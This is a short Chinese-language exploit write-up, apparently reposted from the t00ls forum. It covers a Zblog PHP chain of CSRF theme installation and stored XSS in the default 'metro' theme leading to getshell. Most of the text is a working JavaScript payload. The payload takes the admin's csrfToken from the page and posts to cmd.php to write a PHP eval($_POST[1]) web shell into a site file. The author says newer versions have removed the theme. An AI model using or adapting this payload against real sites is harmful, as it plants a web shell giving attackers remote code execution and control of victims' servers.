## Zblog默认Theme_csrf+储存xss+getshell
原因:
1、后台安装模版没做 csrfToken 验证。可以 csrf 安装指定 Theme
2、zblogPHP 存在一个默认 Theme 名为 metro,存在储存 xss。并且没有验证 csrfToken
3、论坛也有人写这个 getshell 的洞,通过储存 xss 直接 getshell。
测试的时候有点久了,然后在官网下载的最新版 https://www.zblogcn.com/zblogphp/ 不存在这个默认 theme
然后看了下 Github 上存在这个 Theme。
具体细节我忘记了。不做细节描述
zblog.html
```html
zblog test
```
zblog.js //getshell
```javascript
function getMeta(metaName) {
const metas = document.getElementsByTagName('meta');
for (let i = 0; i < metas.length; i++) {
if (metas[i].getAttribute('name') === metaName) {
return metas[i].getAttribute('content');
}
}
return '';
}
var csrfToken = getMeta('csrfToken');
var pkav={
ajax:function(){
var xmlHttp;
try{
xmlHttp=new XMLHttpRequest();
}catch (e){
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){
return false;
}
}
}
return xmlHttp;
},
req:function(url,data,method,callback){
method=(method||"").toUpperCase();
method=method||"GET";
data=data||"";
if(url){
var a=this.ajax();
a.open(method,url,true);
if(method=="POST"){
a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
}
a.onreadystatechange=function(){
if (a.readyState==4 && a.status==200)
{
if(callback){
callback(a.responseText);
}
}
};
if((typeof data)=="object"){
var arr=[];
for(var i in data){
arr.push(i+"="+encodeURIComponent(data[i]));
}
a.send(arr.join("&"));
}else{
a.send(data||null);
}
}
},
get:function(url,callback){
this.req(url,"","GET",callback);
},
post:function(url,data,callback){
this.req(url,data,"POST",callback);
}
};
pkav.post("http://zblog.test/zb_system/cmd.php?act=ModulePst&csrfToken="+csrfToken,"ID=15&Source=theme&Name=theme&IsHideTitle=&FileName=shell&HtmlID=11&Type=div&MaxLi=0&Content=%3C%3Fphp+eval($_POST[1]);%3B%3F%3E&NoRefresh=",function(rs){});
```
备注:新版默认已经没有这个xss主题了,已经修复了!
⚠️原文来自吐司,欢迎大家踊跃投稿吐司!https://www.t00ls.net/articles-57673.html